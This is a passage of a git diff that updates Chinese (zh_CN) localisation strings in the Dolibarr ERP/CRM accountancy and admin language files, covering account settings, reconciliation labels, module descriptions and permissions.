Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit -UseAuxiliaryAccountOnCustomerDeposit=Use sub-accounts on customer deposit lines +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=销售产品的默认会计科目(如果未在产品说明书中定义,则使用) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=已购买服务的默认会计科目(如果未在服务单中定义,则使用) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=默认情况下,已售出服务的会计科目(如果未在服务单中定义,则使用) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=文件类型 Docdate=日期 @@ -211,7 +220,8 @@ Codejournal=日记帐 JournalLabel=Journal label NumPiece=件数 TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=您可以在此处定义一些会计科目组。它们将用于会计分类报告。 @@ -259,19 +269,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=帐户组 PcgtypeDesc=Group of account are used as predefined 'filter' and 'grouping' criteria for some accounting reports. For example, 'INCOME' or 'EXPENSE' are used as groups for accounting accounts of products to build the expense/income report. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=总销售利润率 -DescVentilCustomer=请在此处查看与产品会计科目绑定(或不绑定)的客户发票行列表 -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=请在此查看发票客户及其产品会计科目的行列表 -DescVentilTodoCustomer=绑定尚未与产品会计科目绑定的发票行 -ChangeAccount=使用以下会计科目更改所选行的产品/服务会计科目: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=绑定费用报表行尚未绑定费用会计帐户 DescVentilExpenseReport=请在此处查看费用会计帐户绑定(或不绑定)的费用报表行列表 @@ -279,24 +290,25 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=请在此查询费用报表行及其费用会计帐户清单 Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=自动绑定 AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=错误,你不能删除这个会计科目,因为正被使用。 +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=平衡 FicheVentilation=绑定卡 GeneralLedgerIsWritten=交易是在Ledger中写的 GeneralLedgerSomeRecordWasNotRecorded=某些交易无法记录。如果没有其他错误消息,这可能是因为它们已经被记录。 NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=未绑定到任何会计科目的产品列表 +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=更改绑定 Accounted=占总账 NotYetAccounted=Not yet transferred to accounting @@ -319,9 +331,10 @@ AccountingJournalType1=杂项业务 AccountingJournalType2=销售 AccountingJournalType3=采购 AccountingJournalType4=银行 -AccountingJournalType5=费用报告 +AccountingJournalType5=费用报表 AccountingJournalType8=库存 AccountingJournalType9=拥有全新 +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=该日常报表已经使用 AccountingAccountForSalesTaxAreDefinedInto=注意:销售税的会计科目已定义到菜单 %s - %s NumberOfAccountancyEntries=Number of entries @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=导出日常报表草稿 @@ -389,7 +406,7 @@ SaleLocal=Local sale SaleExport=Export sale SaleEEC=Sale in EEC SaleEECWithVAT=Sale in EEC with a VAT not null, so we suppose this is NOT an intracommunautary sale and the suggested account is the standard product account. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -398,7 +415,11 @@ Calculated=计算 Formula=公式 ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -407,9 +428,10 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? -ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=批量删除确认 ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? ## Error @@ -427,6 +449,8 @@ SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorr AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=会计分录 @@ -453,6 +477,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=费用报告日常报表 -InventoryJournal=库存日常报表 +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/zh_CN/admin.lang b/htdocs/langs/zh_CN/admin.lang index 040748ec362..f674c9f42f1 100644 --- a/htdocs/langs/zh_CN/admin.lang +++ b/htdocs/langs/zh_CN/admin.lang @@ -49,10 +49,8 @@ HostCharset=主机字符集 ClientCharset=客户端的字符集 ClientSortingCharset=客户端整理 WarningModuleNotActive= %s 模块必须启用 -WarningOnlyPermissionOfActivatedModules=仅与已启用模块相关的权限显示在此。您可以在 "主页"->"设置"->"模块"页面中启用其它模块。 +WarningOnlyPermissionOfActivatedModules=仅与已启用模块相关的权限显示在此。您可以在 "首页"->"设置"->"模块"页面中启用其它模块。 DolibarrSetup=Dolibarr安装或升级 -InternalUser=内部用户 -ExternalUser=外部用户 InternalUsers=内部用户 ExternalUsers=外部用户 UserInterface=用户界面 @@ -63,8 +61,8 @@ FormToTestFileUploadForm=文件上传功能测试 ModuleMustBeEnabled=必须启用模块/应用程序 %s ModuleIsEnabled=模块/应用程序 %s 已启用 IfModuleEnabled=注:“是”仅在模块 %s 启用时有效 -RemoveLock=删除/重命名文件 %s (如果存在),以允许使用更新/安装工具。 -RestoreLock=恢复文件 %s 的只读权限,以禁止更新/安装工具的使用。 +RemoveLock=如果存在文件 %s ,将它删除/重命名,以允许使用更新/安装工具。 +RestoreLock=恢复文件 %s 的读取权限,以禁止更新/安装工具的使用。 SecuritySetup=安全设置 PHPSetup=PHP设置 OSSetup=操作系统设置 @@ -82,7 +80,7 @@ UseSearchToSelectCompanyTooltip=此外,如果您有大量第三方(> 100 000 UseSearchToSelectContactTooltip=此外,如果您有大量第三方(> 100 000),您可以通过在"设置"-> "其他"中将常量CONTACT_DONOTSEARCH_ANYWHERE设置为1来提高速度。然后搜索将限制为以字符串开头。 DelaiedFullListToSelectCompany=在任意键被按下后再加载第三方组合列表的内容。
      如果您有大量第三方,这可能会提高性能,但不太方便。 DelaiedFullListToSelectContact=在任意键被按下后再加载联系人组合列表列表的内容。
      如果您有大量联系人,这可能会提高性能,但不太方便。 -NumberOfKeyToSearch=可触发搜索的字符数:%s +NumberOfKeyToSearch=可触发搜索的字符数量:%s NumberOfBytes=字节数 SearchString=搜索字符串 NotAvailableWhenAjaxDisabled=Ajax 禁用时不可用 @@ -108,9 +106,9 @@ NextValueForDeposit=下一个值(预付款) NextValueForReplacements=下一个值(替换) MustBeLowerThanPHPLimit=注意:您的 PHP 当前配置将上传的最大文件大小限制为 %s %s,与此参数的值无关 NoMaxSizeByPHPLimit=注:您的 PHP 配置参数中没有设置限制 -MaxSizeForUploadedFiles=上传文件的最大尺寸(0表示不允许上传) -UseCaptchaCode=在登录页面和一些公共页面上使用图形验证码 (CAPTCHA) -AntiVirusCommand=杀毒软件的完整路径 +MaxSizeForUploadedFiles=上传文件的最大尺寸(0表示禁止任何上传) +UseCaptchaCode=在登录页面和一些公共页面上使用图形验证代码 (CAPTCHA) +AntiVirusCommand=杀毒命令的完整路径 AntiVirusCommandExample=ClamAv Daemon示例(需要 clamav-daemon):/usr/bin/clamdscan
      ClamWin 示例(非常非常慢):c:\\Progra~1\\ClamWin\\bin\\clamscan.exe AntiVirusParam= 更多命令行参数 AntiVirusParamExample=ClamAv Daemon 示例:--fdpass
      ClamWin 示例:--database="C:\\Program Files (x86)\\ClamWin\\lib" @@ -143,14 +141,15 @@ CurrentHour=PHP 服务器时间 CurrentSessionTimeOut=当前会话超时 YouCanEditPHPTZ=您可以尝试添加一个 .htaccess 文件来设置不同的 PHP 时区(不是必需的),其中包含类似“SetEnv TZ Europe/Paris”的行 HoursOnThisPageAreOnServerTZ=警告,与其他屏幕相反,此页面上的小时不是您当地的时区,而是服务器的时区。 -Box=小工具 -Boxes=小工具 -MaxNbOfLinesForBoxes=小工具最大行数 +Box=插件 +Boxes=插件 +MaxNbOfLinesForBoxes=插件的最大行数 AllWidgetsWereEnabled=全部可用的小工具都已启用 +WidgetAvailable=Widget available PositionByDefault=默认顺序 Position=位置 MenusDesc=菜单管理器定义两个菜单中的内容(横向和纵向菜单栏)。 -MenusEditorDesc=菜单编辑器允许您定义自定义菜单条目。请小心使用,以避免不稳定和永久无法访问某些菜单项。
      某些模块会添加菜单项(通常在菜单全部中)。如果您错误地删除了其中一些条目,则可以禁用并重新启用该模块来恢复它们。 +MenusEditorDesc=菜单编辑器允许您定义自定义菜单条目。请小心使用,以避免不稳定和永久无法访问某些菜单项。
      某些模块会添加菜单项(通常在菜单全部中)。如果您错误地移除了其中一些条目,则可以禁用和重新启用该模块来恢复它们。 MenuForUsers=用户菜单 LangFile=.lang 文件 Language_en_US_es_MX_etc=语言(en_US,es_MX等) @@ -181,7 +180,7 @@ NoBackupFileAvailable=没有可用的备份文件。 ExportMethod=导出方法 ImportMethod=导入方法 ToBuildBackupFileClickHere=要建立一个备份文件,请单击此处 -ImportMySqlDesc=要导入 MySQL 备份文件,您可以使用服务提供商的 phpMyAdmin 或使用mysql 命令行。
      例如: +ImportMySqlDesc=要导入 MySQL 备份文件,您可以使用服务提供商的 phpMyAdmin 或在命令行使用mysql 命令。
      例如: ImportPostgreSqlDesc=导入备份文件,你必须使用 pg_restore 命令行命令: ImportMySqlCommand=%s %s < mybackupfile.sql ImportPostgreSqlCommand=%s %s mybackupfile.sql @@ -209,7 +208,7 @@ IgnoreDuplicateRecords=忽略重复记录错误(INSERT IGNORE) AutoDetectLang=自动检测(浏览器的语言) FeatureDisabledInDemo=功能在演示版中已禁用 FeatureAvailableOnlyOnStable=功能仅适用于官方稳定版本 -BoxesDesc=小工具是一些页面中显示信息的屏幕区域。你可以选择目标页面并点击“启用”或垃圾桶按钮来显示或禁用这些小工具。 +BoxesDesc=插件是一些页面中显示信息的屏幕区域。你可以选择目标页面和点击“启用”或垃圾桶按钮来显示或禁用这些插件。 OnlyActiveElementsAreShown=仅显示 已启用模块 的元素。 ModulesDesc=模块/应用程序确定软件中可用的功能。某些模块需要在激活模块后授予用户权限。单击每个模块的开/关按钮 %s 以启用或禁用模块/应用程序。 ModulesDesc2=单击齿轮按钮 %s 以配置模块/应用程序。 @@ -236,10 +235,10 @@ WebSiteDesc=可以获取更多附加(非核心)模块的外部网站... DevelopYourModuleDesc=一些开发您自己的模块的解决方案...... URL=URL RelativeURL=相对URL -BoxesAvailable=有可用的小工具 -BoxesActivated=小工具已启用 -ActivateOn=在…启用 -ActiveOn=在…已启用 +BoxesAvailable=有可用的插件 +BoxesActivated=插件已启用 +ActivateOn=启用日期 +ActiveOn=已启用日期 ActivatableOn=在…可启用 SourceFile=来源文件 AvailableOnlyIfJavascriptAndAjaxNotDisabled=仅当 JavaScript 启用时可用 @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS 主机 ( php.ini 文件中的默认值:%s< MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS 端口(类 Unix 系统上的 PHP 中未定义) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS 主机(类 Unix 系统上的 PHP 中未定义) MAIN_MAIL_EMAIL_FROM=自动电子邮件的发件人电子邮件地址(php.ini 中的默认值: %s ) +EMailHelpMsgSPFDKIM=为了防止 Dolibarr 电子邮件被归类为垃圾邮件,请确保服务器通过 SPF 和 DKIM 配置授权从此地址发送电子邮件 MAIN_MAIL_ERRORS_TO=用于错误退信的电子邮件地址(已发送的电子邮件中的“错误退信”字段) MAIN_MAIL_AUTOCOPY_TO= 将所有已发送的电子邮件复制(密件抄送)到 MAIN_DISABLE_ALL_MAILS=禁用所有电子邮件发送(出于测试目的或演示目的) @@ -375,7 +375,7 @@ DoTestSendHTML=测试发送 HTML ErrorCantUseRazIfNoYearInMask=错误,如果序列{yy}或{yyyy}不在掩码中,则不能使用选项@来重置计数器。 ErrorCantUseRazInStartedYearIfNoYearMonthInMask=错误,如果序列 {yy}{mm} 或 {yyyy}{mm} 不在掩码中,则无法使用选项 @。 UMask=Unix/Linux/BSD 文件系统下新文件的 umask 参数。 -UMaskExplanation=此参数允许您定义 Dolibarr 在服务器上创建的文件的默认权限(例如上传的文件)。
      必须是八进制值(例如 0666 表示所有人都可以读写)。
      此参数在 Windows 服务器上无效。 +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=查看 Wiki 页面以获取贡献者及其组织的列表 UseACacheDelay= 以秒为单位缓存导出响应的延迟(0 或空无缓存) DisableLinkToHelpCenter=在登录页面隐藏链接“ 需要帮助或支持 ” @@ -439,8 +439,10 @@ Unique=唯一 Boolean=布尔值(复选框) ExtrafieldPhone = 电话 ExtrafieldPrice = 价格 +ExtrafieldPriceWithCurrency=带币种的价格 ExtrafieldMail = 电子邮件 ExtrafieldUrl = 网址 +ExtrafieldIP = IP ExtrafieldSelect = 选择列表 ExtrafieldSelectList = 从表格中选取 ExtrafieldSeparator=分隔符(不是字段) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=复选框 ExtrafieldCheckBoxFromList=表格中的复选框 ExtrafieldLink=链接到对象 ComputedFormula=计算出的字段 -ComputedFormulaDesc=您可以在此处使用对象的其他属性或任何 PHP 编码输入公式,以获取动态计算值。您可以使用任何与 PHP 兼容的公式,包括“?”条件运算符和以下全局对象: $db, $conf, $langs, $mysoc, $user, $object
      警告 : 只有 $object 的某些属性可用。如果您需要未加载的属性,只需将对象放入您的公式中,就像在第二个示例中一样。
      使用计算域意味着您不能从界面输入任何值。此外,如果存在语法错误,公式可能不会返回任何内容。

      公式示例:
      $object->id < 10 ? round($object-> id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2 )

      重新加载对象的示例
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj- >rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      其他强制加载对象及其父对象的公式示例:
      (($reloadedobj = new Task($db )) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: '未找到父项目' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=存储计算出的域 ComputedpersistentDesc=计算出的额外字段将存储在数据库中,但是,只有在更改该字段的对象时才会重新计算该值。如果计算域依赖于其他对象或全局数据,这个值可能是错误的!! ExtrafieldParamHelpPassword=将此字段留空意味着该值将在不加密的情况下存储(字段必须仅在屏幕上用星号隐藏)。
      设置“auto”以使用默认加密规则将密码保存到数据库中(之后读取的值将只是哈希值,无法检索原始值) @@ -501,7 +503,8 @@ WarningPHPMail=警告:从应用程序发送电子邮件的设置正使用默 WarningPHPMailA=- 使用电子邮件服务提供商的服务器可以提高您电子邮件的可信度,因此它可以提高可传递性而不会被标记为垃圾邮件 WarningPHPMailB=- 一些电子邮件服务提供商(如雅虎)不允许您从其他服务器而不是他们自己的服务器发送电子邮件。您当前的设置使用应用程序的服务器而不是您的电子邮件提供商的服务器来发送电子邮件,因此某些收件人(与限制性 DMARC 协议兼容的)会询问您的电子邮件提供商他们是否可以接受您的电子邮件,某些电子邮件提供商(如雅虎)可能会回答“不”,因为发送服务器不是他们的,所以您发送的电子邮件中有少数可能不被接受(还要注意您的电子邮件提供商的发送配额)。 WarningPHPMailC=- 使用您自己的电子邮件服务提供商的 SMTP 服务器发送电子邮件也很有趣,因为从应用程序发送的所有电子邮件也将保存到您邮箱的“已发送”目录中。 -WarningPHPMailD=此外,因此建议将电子邮件的发送方法更改为值“SMTP”。如果您真的想保留默认的“PHP”方法来发送电子邮件,只需忽略此警告,或通过在 主页 - 设置 - 其他 中将 MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP 常量设置为 1 来隐藏它。 +WarningPHPMailD=因此,建议将电子邮件的发送方式更改为"SMTP"值。 +WarningPHPMailDbis=如果您确实想保持默认的“PHP”方式发送电子邮件,请忽略此警告,或%s点击这里%s将其移除。 WarningPHPMail2=如果您的电子邮件SMTP提供商需要将电子邮件客户端限制为某些IP地址(非常罕见),则这是您的ERP CRM应用程序的邮件用户代理(MUA)的IP地址: %s。 WarningPHPMailSPF=如果您的发件人电子邮件地址域受 SPF 记录保护(询问您的域名注册商),您必须在您域名的 DNS 记录中添加以下 IP的 SPF 记录: %s 。 ActualMailSPFRecordFound=实际找到的 SPF 记录(对于电子邮件 %s):%s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      示例:
      用于创建新的第三方的 PageUrlForDefaultValuesList=
      示例:
      对于列出第三方的页面,它是 %s
      对于安装到自定义目录的外部模块的 URL,不要包含“custom/”,因此请使用 mymodule/mypagelist.php 之类的路径,而不是 custom/mymodule/mypagelist.php。
      如果只有在 url 有一些参数时才需要默认值,你可以使用 %s AlsoDefaultValuesAreEffectiveForActionCreate=另请注意,覆盖表单创建的默认值仅适用于正确设计的页面(因此请使用参数 action=create 或 presend...) EnableDefaultValues=启用自定义默认值 -EnableOverwriteTranslation=启用翻译覆盖 +EnableOverwriteTranslation=允许自定义翻译 GoIntoTranslationMenuToChangeThis=已使用此代码找到此键的翻译。要更改此值,您必须通过 主页-设置-翻译 对其进行编辑。 WarningSettingSortOrder=警告,如果字段是未知字段,则在列表页面上设置默认排序顺序可能会导致技术错误。如果遇到此类错误,请返回此页面以删除默认排序顺序并恢复默认行为。 Field=字段 @@ -643,11 +646,13 @@ Module2300Name=计划任务 Module2300Desc=计划任务管理(cron 或 chrono table) Module2400Name=事件/日程 Module2400Desc=跟踪项目。记录自动事件以进行跟踪或记录手动事件或会议。这是良好的客户或供应商关系管理的主要模块。 +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=文件管理系统/电子内容管理。自动组织生成或存储的文档。在需要时分享。 -Module2600Name=API/Web 服务 (SOAP 服务器) +Module2600Name=API / 网络服务 (SOAP 服务器) Module2600Desc=允许 Dolibarr SOAP 服务器提供 API 服务 -Module2610Name=API/Web 服务 (REST 服务器) +Module2610Name=API / 网络服务 (REST 服务器) Module2610Desc=允许 Dolibarr REST 服务器提供 API 服务 Module2660Name=调用WebServices(SOAP客户端) Module2660Desc=启用 Dolibarr Web服务客户端(可用于将数据/请求推送到外部服务器。目前仅支持采购订单。) @@ -658,6 +663,8 @@ Module2900Name=Maxmind的GeoIP全球IP地址数据库 Module2900Desc=Maxmind的GeoIP数据库的转换能力 Module3200Name=不可更改的档案 Module3200Desc=启用不可更改的商业活动日志。事件被实时存档。日志是只读的可以导出的链式事件表。对于某些国家/地区,此模块可能是强制性的。 +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=社交网络 Module3400Desc=启用第三方和地址的社交网络字段(skype、twitter、facebook、...)。 Module4000Name=人力资源管理 @@ -698,7 +705,10 @@ Module62000Name=国际贸易术语 Module62000Desc=添加功能来管理国际贸易术语 Module63000Name=资源 Module63000Desc=管理用于分配给活动的资源(打印机、汽车、房间等) -Permission11=查看客户发票 +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=收货 +Permission11=Read customer invoices (and payments) Permission12=创建/变更发票 Permission13=作废客户发票 Permission14=确认客户发票 @@ -714,7 +724,7 @@ Permission27=删除报价单 Permission28=导出报价单 Permission31=查看产品信息 Permission32=创建/变更产品信息 -Permission33=Read prices products +Permission33=读取产品价格 Permission34=删除产品信息 Permission36=查看/管理隐藏产品 Permission38=导出产品信息 @@ -842,9 +852,9 @@ Permission286=导出联系人 Permission291=查看关税 Permission292=设置关税权限 Permission293=修改客户关税 -Permission300=查看条码 -Permission301=创建/修改条码 -Permission302=删除条码 